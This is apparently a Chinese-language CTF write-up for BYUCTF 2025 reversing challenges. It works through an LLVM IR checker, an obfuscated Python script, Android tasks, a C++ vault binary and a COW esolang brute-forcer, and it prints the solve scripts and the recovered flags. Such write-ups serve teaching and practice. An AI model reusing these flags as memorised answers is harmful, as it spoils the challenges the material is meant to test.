306:                                              ; preds = %295%307 = load ptr, ptr %2, align 8%308 = getelementptr inbounds i8, ptr %307, i64 33%309 = load i8, ptr %308, align 1%310 = sext i8 %309 to i32%311 = load ptr, ptr %2, align 8%312 = getelementptr inbounds i8, ptr %311, i64 32%313 = load i8, ptr %312, align 1%314 = sext i8 %313 to i32%315 = add nsw i32 %314, 1%316 = icmp eq i32 %310, %315br i1 %316, label %317, label %340

整理一下得到

def chk(v):v[4] == v[14] == v[17] == v[23] == v[25]v[9] == v[20]v[10] == v[18]v[11] == v[15] == v[24] == v[31] == v[27]v[13] == v[26]v[16] == v[29]v[19] == v[28] == v[32]v[36] == 125v[6] == 123v[7] - 32 == v[8]v[:6] == b'byuctf'v[9]+v[20] == v[31]+3v[31]+3 == v[0]v[10] == v[7]+6v[8] == v[9]+27v[12] == v[13]-1v[13] == v[10]-3v[10] == v[16]-1v[16] == v[14]-1v[35] == v[5]-2v[5] == v[21]-1v[21] == v[22]-1v[22] == v[28]*2v[33] == v[32]+1v[32]+1 == v[34]-3v[30] == v[7]+1

手动换个顺序

v = [-1]*37
for i,k in enumerate(b'byuctf'):v[i]=kv[36]=125
v[6]=123
v[31] = v[0]-3
v[14]=v[4]
v[17]=v[14]
v[23]=v[17]
v[25]=v[23]
v[16] = v[14]-1
v[10] = v[16]-1
v[13] = v[10]-3
v[12] = v[13]-1
v[7] = v[10]-6
v[8] = v[7]-32
v[9] = v[8]-27
v[20] = v[9]
v[18]=v[10]
v[31] = v[9]+v[20]-3
v[24] = v[31]
v[15] = v[24]
v[11] = v[15]
v[27] = v[31]
v[35] = v[5]-2 
v[26] = v[13]
v[29] = v[16]
v[21] = v[5]+1
v[22] = v[21]+1
v[28] = v[22]//2 
v[32] = v[28]
v[19] = v[28]
v[33] = v[32]+1
v[34] = v[32]+4
v[30] = v[7]+1bytes(v)
#byuctf{lL1r_not_str41ght_to_4sm_458d}

u

混淆的题,把函数变成UTF字符,手动变回

ù,ú,û,ü,ũ,ū,ŭ,ů,ű,ų,ṳ,ṷ,ụ=chr,ord,abs,input,all,print,len,input,pow,range,list,dict,set;ù=[12838,1089,16029,13761,1276,14790,2091,17199,2223,2925,17901,3159,18135,18837,3135,19071,4095,19773,4797,4085,20007,5733,20709,17005,2601,9620,3192,9724,3127,8125];u,U=3,256;ṷ=ü();ʉ=ṳ(ụ([ű(u,û,U) for û in(ų(U))]))[u:ŭ(ù)+u];ṳ=zip;ṷ=[ú(û) for û in(ṷ)];assert(ŭ(ù)==ŭ(ṷ));assert(ũ([û*ü==ū for û,ü,ū in(ṳ(ʉ,ṷ,ù))]));
cc=[12838,1089,16029,13761,1276,14790,2091,17199,2223,2925,17901,3159,18135,18837,3135,19071,4095,19773,4797,4085,20007,5733,20709,17005,2601,9620,3192,9724,3127,8125]
u,U=3,256
dict=input()
v=list(set([pow(u,i,U) for i in(range(U))]))[u:len(cc)+u];
list=zip;
dict=[ord(abs) for abs in(dict)];
assert(len(chr)==len(dict));
assert(all([a*i==p for a,i,p in(list(v,dict,cc))]));#改为除法得到flag
v=list(set([pow(u,i,U) for i in(range(U))]))[u:len(cc)+u];
r = [cc[i]//v[i] for i in range(len(cc))]
bytes(r)
#byuctf{uuuuuuu_uuuu_uuu_34845}

Baby Android 2

找到密文和换顺序的方法,直接找回

a = 'bycnu)_aacGly~}tt+?=<_ML?f^i_vETkG+b{nDJrVp6=)='
''.join([a[i*i%47] for i in range(23)])
#byuctf{c++_in_an_apk??}byuctf{e4_if_e_efcopukd0inrdccyat}

Baby Android 1

拿到一两个数字和一个字符,多组,里边有byuctf所以画成图看

a = [[420, 216, '}'],[616, 340, 't'],[ 556, 332, 'a'],[676, 368, 'y'],[500, 252, 'c'],[636, 348, 'c'],[436, 364, 'd'],[496, 348, 'r'],[536, 336, 'n'],[456, 360, 'i'],[536, 276, '0'],[516, 340, 'd'],[460, 232, 'k'],[656, 356, 'u'],[452, 320, 'p'],[476, 352, 'o'],[ 500, 300, 'c'],[596, 332, 'f'],[484, 308, 'e'],[436, 328, ' '],[516, 292, 'e'],[
536, 284, ' '],[536, 268, 'f'],[ 468, 316, 'i'],[516, 260, ' '],[480, 240, '4'],[440, 224, 'e'],[576, 324, '{']]from PIL import Image, ImageFont, ImageDrawimg = Image.new('RGB',(800,800), (255,255,255))
draw = ImageDraw.Draw(img)font = ImageFont.load_default()
for v in a:draw.text((v[1],v[0]), v[2], fill=(0,0,0), font=font)img.save('a.png')
#byuctf{androidpiece0fc4ke}
#byuctf{android_piece_0f_c4ke}

Bank Vault

这里C_0_0实际逆序后表示哪一位有效,C_1_1的整形数组的hibyte是flag但有些无效

  v23 = &v15;std::vector<bool>::vector(v14, &C_0_0, 84LL, &v15);std::__new_allocator<bool>::~__new_allocator(&v15);std::vector<bool>::vector(v13, v14);v22 = &v16;std::vector<unsigned int>::vector(v12, &C_1_1, 84LL, &v16);std::__new_allocator<unsigned int>::~__new_allocator(&v16);std::string::basic_string(v11);std::operator<<<std::char_traits<char>>(&_bss_start, "What's the password to the bank vault? ");std::getline<char,std::char_traits<char>,std::allocator<char>>(&std::cin, v11);v27 = 0;std::vector<bool>::vector(v10);v25 = 0;for ( i = 0; ; ++i ){v5 = i;if ( v5 >= std::vector<unsigned int>::size(v12) )break;v17[0] = std::vector<bool>::back((__int64)v13);v17[1] = v3;v25 = std::_Bit_reference::operator bool(v17);v4 = HIWORD(*(_DWORD *)std::vector<unsigned int>::at(v12, i));v24 = (_BYTE)v4 == *(_BYTE *)std::string::operator[](v11, v27);if ( v25 )++v27;std::vector<bool>::push_back(v10, v24);std::vector<bool>::pop_back(v13);}
msg = open('bank','rb').read()
c = msg[0x5120:0x5120+84][::-1]
a = msg[0x5180:0x52d0]m = ''
i=0
while i <84:if c[i]:m+=chr(a[i*4+2])i+=1#byuctf{3v3n_v3ct0rs_4pp34r_1n_m3m0ry}

*moooo

cow esolang语言,与brainfuck有点像,多了几个符号,网上有解释器,但这里需要爆破,看了WP也不大明白,是通过最后的返回字符来判断。

from queue import PriorityQueue
import string
from typing import List, Optional# mostly takne from https://github.com/Mikhail57/cow-interpreter/blob/master/interpreter.py
class CowInterpreter:# Twelve COW commands, mapped by indexavailable_commands = ["moo",  # 0: loop end ("moo")"mOo",  # 1: move pointer left"moO",  # 2: move pointer right"mOO",  # 3: execute cell as instruction"Moo",  # 4: input/output char"MOo",  # 5: decrement cell"MoO",  # 6: increment cell"MOO",  # 7: loop start"OOO",  # 8: zero cell"MMM",  # 9: copy/paste register"OOM",  # 10: print int"oom",  # 11: read int]max_idx = 0output = b""def __init__(self, buffer=b"byuctf{") -> None:self.buffer = bufferself._cells: List[int] = [0] * 30000self._commands: List[int] = []self._ptr: int = 0         # data pointerself._cmd_ptr: int = 0     # instruction pointerself._register: Optional[int] = None# map command indices to handler methodsself._commands_to_functions = {0: self._handle_loop_end,1: self._move_to_prev_cell,2: self._move_to_next_cell,3: self._handle_current_as_instruction,4: self._print_or_read_char,5: self._decrement_current_cell,6: self._increment_current_cell,7: self._handle_loop_start,8: self._zero_current_cell,9: self._copy_or_paste_register,10: self._print_int,11: self._read_int,}def interpret(self, code: str):# tokenize program: split on whitespace and filter valid commandstokens = code.split()self._commands = [self.available_commands.index(t)for t in tokens if t in self.available_commands]self._ptr = 0self._cmd_ptr = 0while self._cmd_ptr < len(self._commands):cmd = self._commands[self._cmd_ptr]handler = self._commands_to_functions.get(cmd)if handler is None:raise Exception(f"Unknown command index {cmd}")handler()self._cmd_ptr += 1self.max_idx = max(self.max_idx, self._cmd_ptr)def _handle_loop_start(self):# "MOO": if current cell is zero, skip to matching loop end ("moo")if self._cells[self._ptr] == 0:# find matching loop-endself._cmd_ptr = self._get_loop_end(self._cmd_ptr)def _handle_loop_end(self):# "moo": if current cell != 0, jump back to matching loop start ("MOO")if self._cells[self._ptr] != 0:self._cmd_ptr = self._get_loop_start(self._cmd_ptr)def _zero_current_cell(self):self._cells[self._ptr] = 0def _move_to_prev_cell(self):if self._ptr == 0:raise IndexError("Data pointer moved before start of tape")self._ptr -= 1def _move_to_next_cell(self):self._ptr += 1if self._ptr >= len(self._cells):# expand tape if neededself._cells.append(0)def _handle_current_as_instruction(self):# "mOO": treat cell value as command index and execute itidx = self._cells[self._ptr]if idx < 0 or idx >= len(self.available_commands) or idx == 3:# idx == 3 would recurse infinitelyraise Exception(f"Invalid command index {idx} in cell for mOO")# execute without advancing cmd_ptr twiceself._commands_to_functions[idx]()def _print_or_read_char(self):# "Moo": if cell != 0, output char, else read charif self._cells[self._ptr] == 0:self._cells[self._ptr] = self.buffer[0]if len(self.buffer) > 1:self.buffer = self.buffer[1:]else:self.output += bytes([self._cells[self._ptr]])pass# print(chr(self._cells[self._ptr]), end='')def _decrement_current_cell(self):self._cells[self._ptr] -= 1def _increment_current_cell(self):self._cells[self._ptr] += 1def _copy_or_paste_register(self):# "MMM": copy into register or paste from registerif self._register is None:self._register = self._cells[self._ptr]else:self._cells[self._ptr] = self._registerself._register = Nonedef _print_int(self):# "OOM": print integer with no newlinepass# print(self._cells[self._ptr], end='')def _read_int(self):# "oom": read integer into cellval = chr(self.buffer[0])if len(self.buffer) > 1:self.buffer = self.buffer[1:]self._cells[self._ptr] = int(val)def _get_loop_end(self, start_idx: int) -> int:# find matching "moo" for "MOO" at start_idxdepth = 1i = start_idxwhile depth > 0:i += 1if i >= len(self._commands):raise IndexError("Loop start without matching loop end")if self._commands[i] == 7:  # another MOOdepth += 1elif self._commands[i] == 0:  # moodepth -= 1return idef _get_loop_start(self, end_idx: int) -> int:# find matching "MOO" for "moo" at end_idxdepth = 1i = end_idxwhile depth > 0:i -= 1if i < 0:raise IndexError("Loop end without matching loop start")if self._commands[i] == 0:  # moodepth += 1elif self._commands[i] == 7:  # MOOdepth -= 1return iwith open("main.cow", 'r') as f:code = f.read()
prog = b"byuctf{"
queue = PriorityQueue()
queue.put((0, prog))prev_max = 0max_by_pos = dict()while not queue.empty():idx, prog = queue.get()for i in string.digits + string.ascii_letters + string.punctuation:inp = prog + i.encode() + b'}'interpreter = CowInterpreter(inp)try:interpreter.interpret(code)print(inp, '->', interpreter.output[19:], interpreter.max_idx)except Exception as e:passif b'gotem' in interpreter.output:print("Found flag:", inp.decode())exit()ans = b"gotem"extra = 0for j in range(len(interpreter.output)-19):if interpreter.output[19+j] == ans[j]:extra += 2else:breakinterpreter.max_idx += extraif interpreter.max_idx > prev_max:print('new best', interpreter.max_idx, inp.decode())prev_max = interpreter.max_idxif interpreter.max_idx >= prev_max and len(prog + i.encode()) <= 38:queue.put((-interpreter.max_idx+len(prog + i.encode()), prog + i.encode()))

相关文章:

BYUCTF 2025

几周没会的比赛了&#xff0c;都是一题游。这周的BYU还不错&#xff0c;难度适中&#xff0c;只是时间有点短。周末时间不够。 Crypto Many Primes from Crypto.Util.number import bytes_to_long, getPrime import randomflag open("flag.txt").read().encode()…...

【Linux】初见,基础指令(续)

前言&#xff1a; 上文讲解了部分指令&#xff0c;本文我们来讲解剩下的指令【Linux】初见&#xff0c;基础指令-CSDN博客 cat指令 语法&#xff1a;cat 选项 文件 功能&#xff1a;打印文件中的内容 选项&#xff1a; -b 对非空行输出进行编号 -n 对输出的说有行进行编号…...

《MambaLLIE:基于隐式Retinex感知的低光照增强框架与全局-局部状态空间建模》学习笔记

Paper:2405.16105 Github:GitHub - wengjiangwei/MambaLLIE 目录 摘要 一、介绍 二、相关工作 2.1 低光图像增强 2.2 视觉空间状态模型 三、方法 3.1 预备知识 3.2 整体流程 3.3 全局优先-局部次之状态空间块 四、实验 4.1 基准数据集与实施细节 4.2 对比实验 4…...

计算机图形学Games101笔记--几何

第二部分&#xff1a;几何 几何介绍 光栅化解决如何渲染&#xff0c;几何研究模型如何存储在GPU的内存中。几何主要分为两种&#xff1a;隐式几何和显式几何。 **隐士几何&#xff1a;**用点之间的关系存储&#xff0c;如球的计算公式。更一般的可以用f(x,y,z)。我们可以令f…...

Web开发-Python应用Flask框架Jinja模版绑定路由参数传递页面解析SSTI注入

知识点&#xff1a; 1、安全开发-Python-Flask&Jinja2 2、安全开发-Python-路由传参&SSTI注入 演示案例-WEB开发-Python-Flask框架&Jinja2模版&路由传参&SSTI注入 0、Pycharm 配置Python解析 新建Flask项目 1、路由传参 app.route(/) app.route(/<id…...

聚焦开放智能,抢占技术高地 | 2025 高通边缘智能创新应用大赛第五场公开课来袭!

随着2025高通边缘智能创新应用大赛的推进&#xff0c;越来越多的参赛者关注如何借助高性能硬件突破技术瓶颈、打造差异化作品。 5月27日晚8点&#xff0c;大赛将开启初赛阶段的第五场专题公开课——由美格软件研究院院长李书杰领衔&#xff0c;深入解析高通平台的底层架构与参…...

NMOS和PMOS的区别

1 区分NMOS和PMOS&#xff1a;衬底箭头指向G级的是NMOS&#xff0c;衬底箭头背向G级的是PMOS 2 区分D和S级&#xff1a;针对NMOS&#xff0c;体二极管的正方向为S级&#xff1b;针对PMOS&#xff0c;体二极管正的方向为D级 3 区分电流方向&#xff1a;针对NMOS&#xff0c;电…...

Paillier加密方案的原理、实现与应用(vs)

一、实验目的 1、掌握NTL的基本配置和方法&#xff08;以下是以visualstudio为例&#xff09; 2、掌握Paillier加密方案的原理与实现 ①钥匙生成&#xff1a;首先&#xff0c;生成一把钥匙&#xff0c;包括钥匙和私钥匙。钥匙由两个大素数(p,q)的乘积n和一个整数g组成&#…...

Metal入门,使用Metal绘制3D图形

这次是使用Metal绘制一个立方体&#xff0c;并且添加旋转效果&#xff0c;绘制正方形的步骤很简单&#xff0c;我们绘制一个正方形就相当于绘制两个三角形&#xff0c;那么绘制一个正方体&#xff0c;我们很容易想到需要绘制他六个面&#xff0c;很显然&#xff0c;我们也需要把…...

Java 04 API

API 简介 一些已经写好的应用程序编程接口Object toString 默认返回的是当前对象在堆内存中的地址值信息&#xff1a;类的全类名十六进制哈希值返回该对象的返回值 class A{ } //返回的是地址哦 String sA.toString(); //细节&#xff1a;使用打印语句&#xff0c;打印对象…...

基于Gitee 的开发分支版本管理规范

一、版本管理规范概述 目的&#xff1a;规范代码分支管理和版本发布流程&#xff0c;提高团队协作效率&#xff0c;确保代码质量和版本可追溯性。适用范围&#xff1a;基于 Gitee 平台开发的所有项目。分支策略&#xff1a;采用 Git Flow 模型的变体&#xff0c;主要分支包括 …...

HOW - 结合 AI 进行 Tailwind 样式开发

文章目录 情况 1&#xff1a;使用 Tailwind CSS 与手写传统 CSS 的开发效率对比情况 2&#xff1a;AI Tailwind 自动生成 UI 的效率如何&#xff1f;总结 在 WHAT - Tailwind 样式方案&#xff08;不写任何自定义样式&#xff09; 中我们已经简单介绍过 Tailwind。今天主要认识…...

系统数据对接-从获取到处理的全流程

在后端架构的复杂生态中&#xff0c;子系统间或与外部系统的对接是常态&#xff0c;其核心要义在于实现数据的精准传输。本文聚焦于数据传输后的运算逻辑与异常处理机制&#xff0c;旨在为后端开发者提供深度见解。 一、数据获取机制&#xff1a;触发式与定时任务的权衡 &…...

Java 09Stream流与File类

Stream流与File类 Stream流 简化集合和数组的操作&#xff0c;startWith(“张”) 第一个为这个返回true String1.获取Stream对象 单列集合 双列集合 先获得键值对 在遍历数组 零散的数据 Stream<Integer> arrStream.of(1,2,34,3); stream.forEach(sss); 即可2.中间…...

《光与影:33号远征队》栩栩如生的角色动画是如何创建的?

《光与影&#xff1a;33号远征队》是一款由Sandfall Interactive公司开发的回合制RPG游戏&#xff0c;背景是一个黑暗的幻想世界。游戏因其独特的艺术风格和引人注目的叙事赢得了无数赞誉&#xff0c;成为今年大热游戏中的一匹黑马。 在该游戏制作中Sandfall依靠包括Xsens在内的…...

GESP2024年12月认证C++二级( 第三部分编程题(1)寻找数字)

参考程序&#xff08;枚举&#xff09;&#xff1a; #include <iostream> //#include <cmath> using namespace std;int main() {int t;cin >> t;while (t--) {long long a;cin >> a;bool found false;// 枚举 b for (long long b 1; b * b * b * b…...

《探索具身智能机器人视觉-运动映射模型的创新训练路径》

视觉 - 运动映射模型作为实现智能交互与精准行动的核心&#xff0c;吸引着全球科研人员与技术爱好者的目光。这一模型就像机器人的 “神经中枢”&#xff0c;连接着视觉感知与肢体运动&#xff0c;使机器人能够在复杂的现实环境中灵活应对各种任务。 传统的视觉 - 运动映射模型…...

Python打卡DAY31

今日的示例代码包含2个部分 notebook文件夹内的ipynb文件&#xff0c;介绍下今天的思路项目文件夹中其他部分&#xff1a;拆分后的信贷项目&#xff0c;学习下如何拆分的&#xff0c;未来你看到的很多大项目都是类似的拆分方法 知识点回顾 规范的文件命名规范的文件夹管理机器学…...

【SPIN】PROMELA远程引用与控制流验证(SPIN学习系列--5)

PROMELA语言提供了两种强大的机制用于验证并发系统&#xff1a;远程引用(remote references)和进程变量引用。这些机制使得在不引入额外状态变量的情况下&#xff0c;能够精确描述系统状态和属性。 远程引用(Remote References) 远程引用允许你直接引用进程中的控制位置(labe…...

GMSL:汽车里的音视频传输

参考链接&#xff1a; blog.csdn.net/weixin_50875614/article/details/119995651 blog.csdn.net/syjie19900426/article/details/145269782 SerDes 应用场景 WHAT GMSL是什么 GMSL(Gigabit Multimedia Serial Links),中文名称为千兆多媒体串行链路,是Maxim公司推出的一种…...

Java并发进阶系列:深度讨论jdk1.8 ConcurrentHashMap并发环境下transfer方法桶位分配过程

在前面有多篇关于jdk1.8的ConcurrentHashMap研究是基于源代码给出的深度分析&#xff0c;要知道多线程环境下的ConcurrentHashMap内部运行机制是相对复杂的&#xff0c;好在IDEA提供的相关断点和Debug功能确实好用&#xff0c;使得多线程调试起来直观&#xff0c;通过这种方式能…...

【深度学习-Day 14】从零搭建你的第一个神经网络:多层感知器(MLP)详解

Langchain系列文章目录 01-玩转LangChain&#xff1a;从模型调用到Prompt模板与输出解析的完整指南 02-玩转 LangChain Memory 模块&#xff1a;四种记忆类型详解及应用场景全覆盖 03-全面掌握 LangChain&#xff1a;从核心链条构建到动态任务分配的实战指南 04-玩转 LangChai…...

fdisk和parted的区别

在Linux系统中&#xff0c;fdisk和parted是两种常用的分区工具。虽然它们都可以对硬盘进行分区&#xff0c;但在功能和适用范围上有显著的区别。 fdisk fdisk主要用于MBR&#xff08;主引导记录&#xff09;分区表的管理。MBR分区表有以下特点&#xff1a; 支持小于2TB的硬盘…...

springMVC拦截器,拦截器拦截策略设置

目录 1、MyInterceptor1 2、UserController 3、MvcConfig&#xff0c;拦截器4种拦截方法策略 做请求的校验&#xff0c;如果校验没有通过&#xff0c;直接返回&#xff0c;原来下面的处理&#xff0c;就不用处理了 将request进行拦截校验 将response进行拦截校验 preHandle…...

如何测试北斗卫星通讯终端的性能?

测试北斗卫星通讯终端的性能需从功能、性能、环境适应性、可靠性等多维度展开&#xff0c;以下是具体测试内容与方法&#xff1a; 一、基础功能测试 验证终端是否满足北斗系统的核心通讯功能。 &#xff08;1&#xff09;通信模式测试 短报文通信 测试终端发送 / 接收短报…...

基于MakeReal3D的虚拟预装系统:飞机装配效率与精度的双重突破

在航空制造领域&#xff0c;飞机部件的对接装配是飞机制造过程中的关键环节。传统的部件装配方式高度依赖操作人员的经验和反复调整&#xff0c;调姿过程耗时较长&#xff0c;且难以保证每次装配都能达到最优状态。随着虚拟现实技术的成熟&#xff0c;虚拟装配技术作为一种新兴…...

IP54是什么?

IP54是什么 定义 IP54是一种国际标准&#xff0c;用来指示设备的防护等级&#xff0c;该标准由国际电工委员会&#xff08;IEC&#xff09;制定&#xff0c;并在许多领域广泛使用13。IP是Ingress Protection的缩写&#xff0c;IP等级是针对电气设备外壳对异物侵入的防护等级。…...

Python异步编程详解

Python异步编程详解 引言 异步编程是Python中处理并发操作的重要方式&#xff0c;它允许程序在等待I/O操作时执行其他任务&#xff0c;从而提高程序的整体效率。本文将详细介绍Python异步编程的概念、实现方式以及实际应用场景。 1. 异步编程基础 1.1 什么是异步编程&#x…...

AUC与Accuracy的区别

下面分别解释下这两句话的含义及其原因&#xff0c;并说明 AUC 与 Accuracy&#xff08;准确率&#xff09;的区别&#xff1a; AUC 是阈值无关的指标   • 含义&#xff1a;在二分类问题中&#xff0c;模型通常会输出一个概率值或打分&#xff0c;需要设定一个阈值来将这些概…...

差分数组:原理与应用

一、什么是差分数组 差分数组是一种高效处理区间更新操作的数据结构技巧&#xff0c;特别适用于需要对数组的某个区间进行频繁增减操作的场景。差分数组的核心思想是通过存储相邻元素的差值而非元素本身&#xff0c;将区间操作转化为端点操作&#xff0c;从而将时间复杂度从O(…...

一些C++入门基础

关键字 图引自 C 关键词 - cppreference.com 命名空间 命名空间解决了C没办法解决的各类命名冲突问题 C的标准命名空间&#xff1a;std 命名空间中可以定义变量、函数、类型&#xff1a; namespace CS {//变量char cs408[] "DS,OS,JW,JZ";int cs 408;//函数vo…...

免费插件集-illustrator插件-Ai插件-路径尖角圆角化

文章目录 1.介绍2.安装3.通过窗口>扩展>知了插件4.功能解释5.总结 1.介绍 本文介绍一款免费插件&#xff0c;加强illustrator使用人员工作效率&#xff0c;实现图形编辑中路径尖角圆角化。首先从下载网址下载这款插件https://download.csdn.net/download/m0_67316550/87…...

数据分析_商务运营考核指标体系搭建

以抖音电商中的小学教辅书籍业务为例&#xff0c;搭建对接达人的商务运营团队能力考核指标体系&#xff0c;涵盖达人筛选、合作管理、效果追踪和长期价值维护等核心环节&#xff0c;结合教育产品特性和商务运营目标&#xff0c;设计分层量化指标&#xff1a; 一、考核目标 围绕…...

基于Java的校运会管理系统【附源码】

湄洲湾职业技术学院 毕业设计&#xff08;论文&#xff09; 课题名称&#xff1a; 系 别&#xff1a; 专 业&#xff1a; 年 级&#xff1a; 姓 名&#xff1a; 学 号&#xff1a; 指导教师&#xff1a; 摘 要 用传统的方式来管理信息&#xff0c;一是耗时较长&#xff0c;二是…...

保证数据库 + redis在读写分离场景中事务的一致性

在 Spring Boot 中实现数据库与 Redis 的一致性&#xff0c;特别是处理读写分离时&#xff0c;确保数据修改的事务一致性是一个常见的挑战。因为 Redis 是一个内存数据库&#xff0c;通常用于缓存&#xff0c;而关系型数据库是持久化存储&#xff0c;两者之间的数据同步和一致性…...

【Redis】跳表结构

目录 1、背景2、跳表【1】底层结构【2】关键操作【3】redis使用跳表原因【4】特性 1、背景 redis中的跳表是一种有序数据结构&#xff0c;主要用于实现有序集合&#xff08;zset&#xff09;。跳表通过多级索引实现高效查找&#xff08;平均O(logN)时间复杂度&#xff09;&…...

Semaphore解决高并发场景下的有限资源的并发访问问题

在高并发编程的领域中&#xff0c;我们常常面临着对有限资源的激烈抢夺问题。而 Java 的 java.util.concurrent 包提供的 Semaphore &#xff0c;为我们提供了精准控制对有限资源并发访问的强大能力。 一、Semaphore&#xff1f; Semaphore&#xff0c;直译为 “信号量”&#…...

医学影像辅助诊断系统开发教程-基于tensorflow实现

源码下载地址: https://download.csdn.net/download/shangjg03/90873910 1. 简介 医学影像辅助诊断系统是利用计算机视觉和深度学习技术,帮助医生分析医学影像(如X光、CT、MRI等)并提供诊断建议的系统。本教程将指导你开发一个基于深度学习的胸部X光肺炎检测系统。 2. 准备…...

手动导出Docker进行并自动执行脚本命令的操作方法

若你已在 Docker 镜像里手动封装好文件,想让容器启动时自动执行 start.sh 脚本,可按以下步骤操作将镜像导出,同时确保启动时能自动执行脚本。 1. 提交当前容器为新镜像 假设你是在某个运行中的容器里进行文件封装操作的,要先把这个容器的当前状态提交为一个新的 Docker 镜…...

Mysql 中的日期时间函数汇总

前言 在 MySQL 中&#xff0c;处理日期和时间是非常常见的需求&#xff0c;MySQL中内置了大量的日期和时间函数&#xff0c;能够灵活、方便地处理日期和时间数据&#xff0c;本节就简单介绍一下 MySQL中内置的日期和时间函数&#xff0c;以便更好地利用这些函数来处理日期和时间…...

RabbitMQ Topic RPC

Topics(通配符模式) Topics 和Routing模式的区别是: topics 模式使⽤的交换机类型为topic(Routing模式使⽤的交换机类型为direct)topic 类型的交换机在匹配规则上进⾏了扩展, Binding Key⽀持通配符匹配(direct类型的交换机路 由规则是BindingKey和RoutingKey完全匹配) 在top…...

Conda环境管理:确保Python项目精准复现

探讨如何使用 Conda 有效地管理项目依赖&#xff0c;确保你的 Python 环境可以被精确复制和轻松共享 为什么依赖管理如此重要&#xff1f; 在开始具体操作之前&#xff0c;我们先来理解一下为什么环境依赖管理至关重要&#xff1a; 可复现性 (Reproducibility)&#xff1a;无…...

基于PyTorch的医学影像辅助诊断系统开发教程

本文源码地址: https://download.csdn.net/download/shangjg03/90873921 1. 简介 本教程将指导你使用PyTorch开发一个完整的医学影像辅助诊断系统,专注于胸部X光片的肺炎检测。我们将从环境搭建开始,逐步介绍数据处理、模型构建、训练、评估以及最终的系统部署。...

Vue3——Pinia

目录 什么是 Pinia&#xff1f; 为什么选择 Pinia&#xff1f; 基本使用 安装pinia 配置pinia 定义store 使用 持久化插件 什么是 Pinia&#xff1f; Pinia 是一个轻量级的状态管理库&#xff0c;专为 Vue 3 设计。它提供了类似 Vuex 的功能&#xff0c;但 API 更加简…...

Java中Collections工具类中常用方法详解

文章从工具类的概述、常用方法的作用、实现原理到使用注意事项&#xff0c;都进行了详细说明&#xff0c;供你参考。 Java中Collections工具类中常用方法详解 在Java开发中&#xff0c;集合是存储和处理数据的重要容器&#xff0c;而java.util.Collections工具类则提供了一组静…...

面经总目录——持续更新中

说明 本面经总结了校招时我面试各个公司的面试题目&#xff0c;每场面试后我都及时进行了总结&#xff0c;同时后期补充扩展了同类型的相近面试题&#xff0c;校招时从两个方向进行投递&#xff0c;视觉算法工程师和软件开发工程师&#xff08;C方向&#xff09;&#xff0c;所…...

电力设备智能化方案复盘

本文针对公司在售的一款电力设备智能化方案的运营情况进行复盘分析&#xff0c;提出一些基于研发人员角度的看法及建议&#xff0c;欢迎大家交流&#xff0c;因本人经验有限&#xff0c;多多包涵。具体的产品用途和公司名称不方便透露。 1.背景 本方案是针对电网配电侧中某关键…...

Rocketmq刷盘机制和复制机制区别及关系

在RocketMQ中&#xff0c;刷盘机制和复制机制是两种不同但相互协作的机制&#xff0c;分别解决数据持久化和数据高可用的问题。它们的核心区别与关系如下&#xff1a; 一、刷盘机制&#xff08;Flush Disk&#xff09; 目标&#xff1a;解决单机数据持久化问题&#xff0c;确保…...

HTB 赛季8靶场 - Puppy

nmap扫描全端口 Nmap scan report for 10.129.243.117 Host is up, received echo-reply ttl 127 (0.47s latency). Scanned at 2025-05-18 21:12:56 EDT for 551s Not shown: 65512 filtered tcp ports (no-response) Bug in iscsi-info: no string output. PORT STATE …...

频分复用信号在信道中的状态

频分复用是一种将信道总带宽划分为多个互不重叠的子频带&#xff0c;每路信号占用一个子频带以实现多路信号并行传输的复用技术。 1、基本概念和原理 频分复用&#xff08;Frequency Division Multiplexing, FDM&#xff09;的核心思想是通过频率划分实现多路信号共享同一物理…...